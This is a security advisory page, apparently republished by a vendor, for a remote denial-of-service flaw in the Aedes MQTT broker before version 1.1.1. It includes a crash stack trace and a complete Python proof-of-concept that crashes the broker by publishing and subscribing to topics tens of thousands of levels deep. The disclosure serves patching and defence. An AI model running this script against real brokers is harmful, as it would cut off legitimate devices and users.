
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 1.1.1
Patched in 1.1.1
Details
A remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application.
The Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function.
This function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately.
This vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation.
Stack Trace from Crash:
aedes-broker | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604
aedes-broker | throw new Error('too many words');
aedes-broker | ^
aedes-broker |
aedes-broker | Error: too many words
aedes-broker | at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15)
aedes-broker | at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18)
aedes-broker | at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43)
aedes-broker | at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17)
aedes-broker | at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11)
aedes-broker | at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12)
The same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler.
Prerequisites
docker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest
Reproduction Steps
#!/usr/bin/env python3
import argparse
import time
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, reason_code, properties=None):
if reason_code != 0:
print(f"[-] Error en la conexión: {reason_code}")
def on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None):
if reason_code != 0:
print(f"[*] -> Desconexión detectada (Caída del bróker). Razón: {reason_code}")
def run_exploit(host, port):
# Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3)
payloads = [
{"type": "PUB_DEEP", "topic": "a/" * 30000 + "target"},
{"type": "PUB_LIMIT", "topic": "a/" * 32766 + "a/b"},
{"type": "SUB_WILD", "topic": "+/" * 150 + "#", "pub": "A/" * 150 + "target"},
{"type": "SUB_DEEP", "topic": "+/" * 10000 + "#", "pub": "A/" * 10000 + "target"}
]
for case in payloads:
print(f"\n[*] Lanzando vector de ataque tipo: {case['type']}")
client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
try:
client.connect(host, port, keepalive=60)
client.loop_start()
time.sleep(1)
if "PUB" in case['type']:
client.publish(case['topic'], payload="DoS_Attack", qos=0)
else:
client.subscribe(case['topic'], qos=0)
time.sleep(1)
client.publish(case['pub'], payload="DoS_Attack", qos=0)
time.sleep(2)
except Exception as e:
print(f"[-] Error durante el envío: {e}")
finally:
client.loop_stop()
client.disconnect()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--direccion", required=True, help="IP del broker")
parser.add_argument("-p", "--puerto", type=int, default=1883, help="Puerto")
args = parser.parse_args()
run_exploit(args.direccion, args.puerto)
This is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.
EPSS, exploit probability
Low0.36%
estimated chance of real-world exploitation in the next 30 days, higher than 31.1% of every CVE FIRST.org scores
Refreshed 11/21/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More npm advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.